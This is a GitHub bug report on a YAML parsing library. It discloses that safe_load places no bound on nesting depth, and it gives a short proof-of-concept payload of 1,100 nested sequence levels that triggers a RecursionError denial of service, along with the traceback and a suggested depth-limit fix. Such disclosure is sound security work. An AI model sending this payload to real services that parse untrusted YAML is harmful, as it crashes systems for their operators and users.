Skip to content

[Bug]: Deeply Nested YAML Triggers SafeLoader RecursionError DoS #895

@tylzh97

Description

@tylzh97

Summary

yaml.safe_load fails to bound nesting depth; an excessively deep sequence causes a RecursionError, terminating the parser.

poc:

import yaml
payload = "\n".join(["-  " * i for i in range(1100)])
yaml.safe_load(payload)

Traceback:

...
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/parser.py", line 379, in parse_block_sequence_first_entry
    return self.parse_block_sequence_entry()
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/parser.py", line 384, in parse_block_sequence_entry
    if not self.check_token(BlockEntryToken, BlockEndToken):
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 116, in check_token
    self.fetch_more_tokens()
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 159, in fetch_more_tokens
    self.scan_to_next_token()
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 781, in scan_to_next_token
    if self.scan_line_break():
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/scanner.py", line 1427, in scan_line_break
    if self.prefix(2) == '\r\n':
  File "/home/User/.venv/lib/python3.10/site-packages/yaml/reader.py", line 95, in prefix
    if self.pointer+length >= len(self.buffer):
RecursionError: maximum recursion depth exceeded while calling a Python object

Suggested Fix

  • Introduce maximum document depth checks. Abort parsing gracefully once the limit is exceeded.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions